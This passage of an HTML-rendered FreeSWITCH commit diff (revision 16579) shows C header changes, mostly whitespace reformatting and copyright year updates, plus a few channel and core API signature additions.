</span><span class="cx">  * @param new_attr The newly created threadattr.
</span><span class="cx">  * @param pool The pool to use
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t **new_attr, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_threadattr_create(switch_threadattr_t ** new_attr, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * Set if newly created threads should be created in detached state.
</span><span class="lines">@@ -937,7 +933,7 @@
</span><span class="cx">  * @param data Any data to be passed to the starting function
</span><span class="cx">  * @param cont The pool to use
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t **new_thread, switch_threadattr_t *attr,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_thread_create(switch_thread_t ** new_thread, switch_threadattr_t *attr,
</ins><span class="cx">                                                                                                          switch_thread_start_t func, void *data, switch_memory_pool_t *cont);
</span><span class="cx"> 
</span><span class="cx"> /** @} */
</span><span class="lines">@@ -1006,7 +1002,7 @@
</span><span class="cx">  * @param protocol The protocol of the socket (e.g., SWITCH_PROTO_TCP).
</span><span class="cx">  * @param pool The pool to use
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t **new_sock, int family, int type, int protocol, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_create(switch_socket_t ** new_sock, int family, int type, int protocol, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * Shutdown either reading, writing, or both sides of a socket.
</span><span class="lines">@@ -1055,7 +1051,7 @@
</span><span class="cx">  * @param sock The socket we are listening on.
</span><span class="cx">  * @param pool The pool for the new socket.
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t **new_sock, switch_socket_t *sock, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_accept(switch_socket_t ** new_sock, switch_socket_t *sock, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * Issue a connection request to a socket either on the same machine 
</span><span class="lines">@@ -1095,7 +1091,7 @@
</span><span class="cx">  * &lt;/PRE&gt;
</span><span class="cx">  * @param pool The pool for the apr_sockaddr_t and associated storage.
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t **sa, const char *hostname,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_sockaddr_info_get(switch_sockaddr_t ** sa, const char *hostname,
</ins><span class="cx">                                                                                                                  int32_t family, switch_port_t port, int32_t flags, switch_memory_pool_t *pool);
</span><span class="cx"> 
</span><span class="cx"> /**
</span><span class="lines">@@ -1124,7 +1120,8 @@
</span><span class="cx">  * @param buf  The data to send
</span><span class="cx">  * @param len  The length of the data to send
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf, switch_size_t *len);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_sendto(switch_socket_t *sock, switch_sockaddr_t *where, int32_t flags, const char *buf,
+                                                                                                         switch_size_t *len);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * @param from The apr_sockaddr_t to fill in the recipient info
</span><span class="lines">@@ -1219,26 +1216,27 @@
</span><span class="cx"> 
</span><span class="cx"> /** @} */
</span><span class="cx"> 
</span><del>-typedef enum {
-    SWITCH_NO_DESC,                /**&lt; nothing here */
-    SWITCH_POLL_SOCKET,            /**&lt; descriptor refers to a socket */
-    SWITCH_POLL_FILE,              /**&lt; descriptor refers to a file */
-    SWITCH_POLL_LASTDESC           /**&lt; descriptor is the last one in the list */
-} switch_pollset_type_t;
</del><ins>+         typedef enum {
+                 SWITCH_NO_DESC,                   /**&lt; nothing here */
+                 SWITCH_POLL_SOCKET,           /**&lt; descriptor refers to a socket */
+                 SWITCH_POLL_FILE,                   /**&lt; descriptor refers to a file */
+                 SWITCH_POLL_LASTDESC           /**&lt; descriptor is the last one in the list */
+         } switch_pollset_type_t;
</ins><span class="cx"> 
</span><del>-typedef union {
-    switch_file_t *f;              /**&lt; file */
-    switch_socket_t *s;            /**&lt; socket */
-} switch_descriptor_t;
</del><ins>+         typedef union {
+                 switch_file_t *f;                   /**&lt; file */
+                 switch_socket_t *s;           /**&lt; socket */
+         } switch_descriptor_t;
</ins><span class="cx"> 
</span><del>-struct switch_pollfd {
-    switch_memory_pool_t *p;              /**&lt; associated pool */
-    switch_pollset_type_t desc_type;   /**&lt; descriptor type */
-    int16_t reqevents;      /**&lt; requested events */
-    int16_t rtnevents;      /**&lt; returned events */
-    switch_descriptor_t desc;        /**&lt; @see apr_descriptor */
-    void *client_data;          /**&lt; allows app to associate context */
-};
</del><ins>+         struct switch_pollfd {
+                 switch_memory_pool_t *p;                  /**&lt; associated pool */
+                 switch_pollset_type_t desc_type;
+                                                                           /**&lt; descriptor type */
+                 int16_t reqevents;        /**&lt; requested events */
+                 int16_t rtnevents;        /**&lt; returned events */
+                 switch_descriptor_t desc;         /**&lt; @see apr_descriptor */
+                 void *client_data;                /**&lt; allows app to associate context */
+         };
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1277,7 +1275,7 @@
</span><span class="cx">  * platforms; the apr_pollset_create() call will fail with
</span><span class="cx">  * APR_ENOTIMPL on platforms where it is not supported.
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t **pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_pollset_create(switch_pollset_t ** pollset, uint32_t size, switch_memory_pool_t *p, uint32_t flags);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * Add a socket or file descriptor to a pollset
</span><span class="lines">@@ -1321,10 +1319,10 @@
</span><span class="cx">   \param pool the memory pool to use
</span><span class="cx">   \return SWITCH_STATUS_SUCCESS when successful
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t **poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_socket_create_pollfd(switch_pollfd_t ** poll, switch_socket_t *sock, int16_t flags, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t **result, switch_memory_pool_t *p);
-SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t **sa, switch_bool_t remote, switch_socket_t *sock);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_match_glob(const char *pattern, switch_array_header_t ** result, switch_memory_pool_t *p);
+SWITCH_DECLARE(switch_status_t) switch_socket_addr_get(switch_sockaddr_t ** sa, switch_bool_t remote, switch_socket_t *sock);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * Create an anonymous pipe.
</span><span class="lines">@@ -1332,7 +1330,7 @@
</span><span class="cx">  * @param out The file descriptor to use as output from the pipe.
</span><span class="cx">  * @param pool The pool to operate on.
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t **in, switch_file_t **out, switch_memory_pool_t *p);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_file_pipe_create(switch_file_t ** in, switch_file_t ** out, switch_memory_pool_t *p);
</ins><span class="cx"> 
</span><span class="cx"> /**
</span><span class="cx">  * Get the timeout value for a pipe or manipulate the blocking state.
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_bitpackh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_bitpack.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_bitpack.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_bitpack.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_bufferh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_buffer.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_buffer.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_buffer.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_callerh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_caller.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_caller.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_caller.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -147,7 +147,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_caller_extension_t *) switch_caller_extension_new(_In_ switch_core_session_t *session,
</span><span class="cx">                                                                                                                                                 _In_z_ const char *extension_name, _In_z_ const char *extension_number);
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_caller_extension_clone(switch_caller_extension_t **new_ext, switch_caller_extension_t *orig,
</ins><span class="cx">                                                                                                                           switch_memory_pool_t *pool);
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -169,8 +169,8 @@
</span><span class="cx">   \param fmt optional argument to the application (printf format string)
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(void) switch_caller_extension_add_application_printf(_In_ switch_core_session_t *session,
</span><del>-                                                                                                                         _In_ switch_caller_extension_t *caller_extension,
-                                                                                                                         _In_z_ const char *application_name, _In_z_ const char *fmt, ...);
</del><ins>+                                                                                                                                        _In_ switch_caller_extension_t *caller_extension,
+                                                                                                                                        _In_z_ const char *application_name, _In_z_ const char *fmt, ...);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /*!
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_channelh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_channel.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_channel.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_channel.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -48,6 +48,7 @@
</span><span class="cx">         switch_time_t progress_media;
</span><span class="cx">         switch_time_t hungup;
</span><span class="cx">         switch_time_t transferred;
</span><ins>+        switch_time_t resurrected;
</ins><span class="cx">         struct switch_channel_timetable *next;
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -74,21 +75,20 @@
</span><span class="cx">   \param channel channel to test
</span><span class="cx">   \return true if the channel is ready
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t media);
</del><ins>+SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t check_ready, switch_bool_t check_media);
</ins><span class="cx"> 
</span><del>-#define switch_channel_ready(_channel) switch_channel_test_ready(_channel, SWITCH_FALSE)
-#define switch_channel_media_ready(_channel) switch_channel_test_ready(_channel, SWITCH_TRUE)
</del><ins>+#define switch_channel_ready(_channel) switch_channel_test_ready(_channel, SWITCH_TRUE, SWITCH_FALSE)
+#define switch_channel_media_ready(_channel) switch_channel_test_ready(_channel, SWITCH_TRUE, SWITCH_TRUE)
+
</ins><span class="cx"> #define switch_channel_up(_channel) (switch_channel_get_state(_channel) &lt; CS_HANGUP)
</span><span class="cx"> #define switch_channel_down(_channel) (switch_channel_get_state(_channel) &gt;= CS_HANGUP)
</span><span class="cx"> #define switch_channel_media_ack(_channel) (!switch_channel_test_cap(_channel, CC_MEDIA_ACK) || switch_channel_test_flag(_channel, CF_MEDIA_ACK))
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_channel_wait_for_state(switch_channel_t *channel, switch_channel_t *other_channel, switch_channel_state_t want_state);
</span><span class="cx"> SWITCH_DECLARE(void) switch_channel_wait_for_state_timeout(switch_channel_t *other_channel, switch_channel_state_t want_state, uint32_t timeout);
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel, 
-                                                                                                                         switch_channel_flag_t want_flag, 
-                                                                                                                         switch_bool_t pres, 
-                                                                                                                         uint32_t to,
-                                                                                                                         switch_channel_t *super_channel);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel,
+                                                                                                                         switch_channel_flag_t want_flag,
+                                                                                                                         switch_bool_t pres, uint32_t to, switch_channel_t *super_channel);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_channel_state_t) switch_channel_perform_set_state(switch_channel_t *channel,
</span><span class="cx">                                                                                                                                                 const char *file, const char *func, int line, switch_channel_state_t state);
</span><span class="lines">@@ -142,7 +142,8 @@
</span><span class="cx">   \param pool memory_pool to use for allocation
</span><span class="cx">   \return SWITCH_STATUS_SUCCESS if successful
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_alloc(_In_ switch_channel_t **channel, _In_ switch_call_direction_t direction, _In_ switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_alloc(_In_ switch_channel_t **channel, _In_ switch_call_direction_t direction,
+                                                                                                         _In_ switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">   \brief Connect a newly allocated channel to a session object and setup it's initial state
</span><span class="lines">@@ -231,12 +232,12 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_set_profile_var(switch_channel_t *channel, const char *name, const char *val);
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_var_check(switch_channel_t *channel,
</ins><span class="cx">                                                                                                                                           const char *varname, const char *value, switch_bool_t var_check);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_printf(switch_channel_t *channel, const char *varname, const char *fmt, ...);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_name_printf(switch_channel_t *channel, const char *val, const char *fmt, ...);
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_channel_set_variable_partner_var_check(switch_channel_t *channel,
</ins><span class="cx">                                                                                                                                                           const char *varname, const char *value, switch_bool_t var_check);
</span><span class="cx"> SWITCH_DECLARE(const char *) switch_channel_get_variable_partner(switch_channel_t *channel, const char *varname);
</span><span class="cx"> 
</span><span class="lines">@@ -250,7 +251,9 @@
</span><span class="cx">   \param varname the name of the variable
</span><span class="cx">   \return the value of the requested variable
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(const char *) switch_channel_get_variable(switch_channel_t *channel, const char *varname);
</del><ins>+SWITCH_DECLARE(const char *) switch_channel_get_variable_dup(switch_channel_t *channel, const char *varname, switch_bool_t dup);
+#define switch_channel_get_variable(_c, _v) switch_channel_get_variable_dup(_c, _v, SWITCH_TRUE)
+
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_get_variables(switch_channel_t *channel, switch_event_t **event);
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_pass_callee_id(switch_channel_t *channel, switch_channel_t *other_channel);
</span><span class="lines">@@ -300,10 +303,14 @@
</span><span class="cx">   \param channel channel on which to set flag
</span><span class="cx">   \param flag or'd list of flags to set
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(void) switch_channel_set_flag(switch_channel_t *channel, switch_channel_flag_t flag);
</del><ins>+SWITCH_DECLARE(void) switch_channel_set_flag_value(switch_channel_t *channel, switch_channel_flag_t flag, uint32_t value);
+#define switch_channel_set_flag(_c, _f) switch_channel_set_flag_value(_c, _f, 1)
+
</ins><span class="cx"> SWITCH_DECLARE(void) switch_channel_set_flag_recursive(switch_channel_t *channel, switch_channel_flag_t flag);
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_channel_set_cap(switch_channel_t *channel, switch_channel_cap_t cap);
</del><ins>+SWITCH_DECLARE(void) switch_channel_set_cap_value(switch_channel_t *channel, switch_channel_cap_t cap, uint32_t value);
+#define switch_channel_set_cap(_c, _cc) switch_channel_set_cap_value(_c, _cc, 1)
+
</ins><span class="cx"> SWITCH_DECLARE(void) switch_channel_clear_cap(switch_channel_t *channel, switch_channel_cap_t cap);
</span><span class="cx"> SWITCH_DECLARE(uint32_t) switch_channel_test_cap(switch_channel_t *channel, switch_channel_cap_t cap);
</span><span class="cx"> 
</span><span class="lines">@@ -338,6 +345,7 @@
</span><span class="cx">   \param flag flag to clear
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(void) switch_channel_clear_flag(switch_channel_t *channel, switch_channel_flag_t flag);
</span><ins>+
</ins><span class="cx"> SWITCH_DECLARE(void) switch_channel_clear_flag_recursive(switch_channel_t *channel, switch_channel_flag_t flag);
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_channel_perform_answer(switch_channel_t *channel, const char *file, const char *func, int line);
</span><span class="lines">@@ -539,7 +547,9 @@
</span><span class="cx"> SWITCH_DECLARE(int) switch_channel_test_app_flag(switch_channel_t *channel, uint32_t flags);
</span><span class="cx"> SWITCH_DECLARE(void) switch_channel_set_hangup_time(switch_channel_t *channel);
</span><span class="cx"> SWITCH_DECLARE(switch_call_direction_t) switch_channel_direction(switch_channel_t *channel);
</span><del>-SWITCH_DECLARE(switch_core_session_t*) switch_channel_get_session(switch_channel_t *channel);
</del><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_channel_get_session(switch_channel_t *channel);
+SWITCH_DECLARE(char *) switch_channel_get_flag_string(switch_channel_t *channel);
+SWITCH_DECLARE(char *) switch_channel_get_cap_string(switch_channel_t *channel);
</ins><span class="cx"> 
</span><span class="cx"> /** @} */
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_configh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_config.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_config.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_config.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_consoleh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_console.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_console.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_console.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -81,12 +81,12 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_console_shutdown(void);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_console_add_complete_func(const char *name, switch_console_complete_callback_t cb);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_console_del_complete_func(const char *name);
</span><del>-SWITCH_DECLARE(switch_status_t) switch_console_run_complete_func(const char *func, const char *line, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_console_run_complete_func(const char *func, const char *line,
</ins><span class="cx">                                                                                                                                  const char *last_word, switch_console_callback_match_t **matches);
</span><span class="cx"> SWITCH_DECLARE(void) switch_console_push_match(switch_console_callback_match_t **matches, const char *new_val);
</span><span class="cx"> SWITCH_DECLARE(void) switch_console_free_matches(switch_console_callback_match_t **matches);
</span><del>-SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *last_word, 
-                                                                                                          FILE *console_out, switch_stream_handle_t *stream, switch_xml_t xml);
</del><ins>+SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *last_word,
+                                                                                                          FILE * console_out, switch_stream_handle_t *stream, switch_xml_t xml);
</ins><span class="cx"> SWITCH_DECLARE(void) switch_console_sort_matches(switch_console_callback_match_t *matches);
</span><span class="cx"> SWITCH_DECLARE(void) switch_console_save_history(void);
</span><span class="cx"> SWITCH_DECLARE(char *) switch_console_expand_alias(char *cmd, char *arg);
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_coreh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_core.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_core.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_core.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -369,7 +369,8 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> #ifdef SWITCH_DEBUG_RWLOCKS
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_perform_read_lock_hangup(_In_ switch_core_session_t *session, const char *file, const char *func, int line);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_perform_read_lock_hangup(_In_ switch_core_session_t *session, const char *file, const char *func,
+                                                                                                                                                         int line);
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> /*! 
</span><span class="lines">@@ -595,6 +596,9 @@
</span><span class="cx"> SWITCH_DECLARE(switch_memory_pool_t *) switch_core_session_get_pool(_In_ switch_core_session_t *session);
</span><span class="cx"> ///\}
</span><span class="cx"> 
</span><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_xml(switch_endpoint_interface_t *endpoint_interface,
+                                                                                                                                                switch_memory_pool_t **pool, switch_xml_t xml);
+
</ins><span class="cx"> ///\defgroup sessm Session Creation / Management
</span><span class="cx"> ///\ingroup core1
</span><span class="cx"> ///\{
</span><span class="lines">@@ -604,7 +608,7 @@
</span><span class="cx">   \param pool the pool to use for the allocation (a new one will be used if NULL)
</span><span class="cx">   \return the newly created session
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(_In_ switch_endpoint_interface_t *endpoint_interface, 
</del><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(_In_ switch_endpoint_interface_t *endpoint_interface,
</ins><span class="cx">                                                                                                                                                  _In_ switch_call_direction_t direction,
</span><span class="cx">                                                                                                                                                  _Inout_opt_ switch_memory_pool_t **pool, _In_opt_z_ const char *use_uuid);
</span><span class="cx"> #define switch_core_session_request(_ep, _d, _p) switch_core_session_request_uuid(_ep, _d, _p, NULL)
</span><span class="lines">@@ -645,9 +649,8 @@
</span><span class="cx">   \param pool the pool to use
</span><span class="cx">   \return the newly created session
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(_In_z_ const char *endpoint_name, 
-                                                                                                                                                        _In_ switch_call_direction_t direction,
-                                                                                                                                                        _Inout_ switch_memory_pool_t **pool);
</del><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(_In_z_ const char *endpoint_name,
+                                                                                                                                                        _In_ switch_call_direction_t direction, _Inout_ switch_memory_pool_t **pool);
</ins><span class="cx"> 
</span><span class="cx"> /*! 
</span><span class="cx">   \brief Launch the session thread (state machine) on a given session
</span><span class="lines">@@ -963,7 +966,8 @@
</span><span class="cx">                                                                                                                                                  _In_z_ const char *endpoint_name,
</span><span class="cx">                                                                                                                                                  _In_ switch_caller_profile_t *caller_profile,
</span><span class="cx">                                                                                                                                                  _Inout_ switch_core_session_t **new_session,
</span><del>-                                                                                                                                                 _Inout_ switch_memory_pool_t **pool, _In_ switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                                                                 _Inout_ switch_memory_pool_t **pool, _In_ switch_originate_flag_t flags,
+                                                                                                                                                 switch_call_cause_t *cancel_cause);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_call_cause_t) switch_core_session_resurrect_channel(_In_z_ const char *endpoint_name,
</span><span class="cx">                                                                                                                                                   _Inout_ switch_core_session_t **new_session,
</span><span class="lines">@@ -975,7 +979,7 @@
</span><span class="cx">   \param message the message to recieve
</span><span class="cx">   \return the status returned by the message handler
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(_In_ switch_core_session_t *session, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(_In_ switch_core_session_t *session,
</ins><span class="cx">                                                                                                                                                         _In_ switch_core_session_message_t *message,
</span><span class="cx">                                                                                                                                                         const char *file, const char *func, int line);
</span><span class="cx"> #define switch_core_session_receive_message(_session, _message) switch_core_session_perform_receive_message(_session, _message, \
</span><span class="lines">@@ -1013,7 +1017,8 @@
</span><span class="cx">   \param priority event has high priority
</span><span class="cx">   \return the status returned by the message handler
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_queue_private_event(_In_ switch_core_session_t *session, _Inout_ switch_event_t **event, switch_bool_t priority);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_queue_private_event(_In_ switch_core_session_t *session, _Inout_ switch_event_t **event,
+                                                                                                                                                switch_bool_t priority);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /*! 
</span><span class="lines">@@ -1381,10 +1386,10 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_unlock_codec_read(_In_ switch_core_session_t *session);
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session,  switch_codec_implementation_t *impp);
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session,  switch_codec_implementation_t *impp);
